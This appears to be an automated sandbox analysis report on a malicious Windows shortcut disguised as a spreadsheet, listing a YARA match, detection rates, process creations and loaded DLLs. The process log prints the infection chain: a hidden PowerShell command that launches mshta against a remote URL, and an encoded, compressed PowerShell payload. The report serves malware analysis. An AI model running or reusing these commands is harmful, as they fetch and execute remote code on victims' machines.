          Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ecols[1].hta, type: DROPPEDMatched rule: WiltedTulip_WindowsTask date = 2017-07-23, hash5 = 984c7e1f76c21daf214b3f7e131ceb60c14abf1b0f4066eae563e9c184372a34, hash4 = 5046e7c28f5f2781ed7a63b0871f4a2b3065b70d62de7254491339e8fe2fa14a, hash3 = b6f515b3f713b70b808fc6578232901ffdeadeb419c9c4219fbfba417bba9f01, hash2 = 340cbbffbb7685133fc318fa20e4620ddf15e56c0e65d4cf1b2d606790d4425d, hash1 = c3cbe88b82cd0ea46868fb4f2e8ed226f3419fc6d4d6b5f7561e70f4cd33822c, author = Florian Roth, description = Detects hack tool used in Operation Wilted Tulip - Windows Tasks, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: classification engineClassification label: mal100.bank.troj.evad.winLNK@11/16@3/4
          Source: C:\Windows\System32\mshta.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ecols[1].htaJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7548:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7820:120:WilError_03
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u21k0mxa.jz0.ps1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this module.ModuleVersion = '3.4.0'# ID used to uniquely identify this moduleGUID = 'a699dea5-2c73-4616-a270-1f7abb777e71'# Author of this moduleAuthor = 'Pester Team'# Company or vendor of this moduleCompanyName = 'Pester'# Copyright statement for this moduleCopyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.'# Description of the functionality provided by this moduleDescription = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of powershell code being tested. Pester tests can execute any command or script that is accesible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.'# Minimum version of the Windows PowerShell engine required by this modulePowerShellVersion = '2.0'# Functions to export from this moduleFunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption')# # Cmdlets to export from this module# CmdletsToExport = '*'# Variables to export from this moduleVariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict')# # Aliases to export from this module# AliasesToExport = '*'# List of all modules packaged with this module# ModuleList = @()# List of all files packaged with this module# FileList = @()PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837 PSData = @{ # The primary categorization of this module (from the TechNet Gallery tech tree). Category = "Scripting Techniques" # Keyword tags to help users find this module via navigations and search. Tags = @('powershell','unit testing','bdd','tdd','mocking') # The web address of an icon which can be used in galleries to represen
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Users\desktop.iniJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
          Source: ____ ______.xls.lnk.bin.lnkReversingLabs: Detection: 26%
          Source: ____ ______.xls.lnk.bin.lnkVirustotal: Detection: 30%
          Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'"
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://iplogger.cn/forensicsas.png
          Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVAB
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://iplogger.cn/forensicsas.png Jump to behavior
          Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: taskflowdataengine.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cdp.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dsreg.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: mshtml.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: winhttp.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: wkscli.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: umpdc.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: msiso.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: srpapi.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: mswsock.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: winnsi.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: ieframe.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: netapi32.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: msimtf.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: dxgi.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: resourcepolicyclient.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: textinputframework.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: coreuicomponents.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: coremessaging.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: ntmarta.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: dnsapi.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: rasadhlp.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: dataexchange.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: d3d11.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: dcomp.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: twinapi.appcore.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: fwpuclnt.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: schannel.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: mskeyprotect.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: ntasn1.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: dpapi.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: ncrypt.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: ncryptsslp.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: vbscript.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: mpr.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: scrrun.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: sxs.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: edputil.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: windows.staterepositoryps.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: appresolver.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: bcp47langs.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: slc.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: onecorecommonproxystub.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: msls31.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: d2d1.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: dwrite.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeSection loaded: jscript9.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
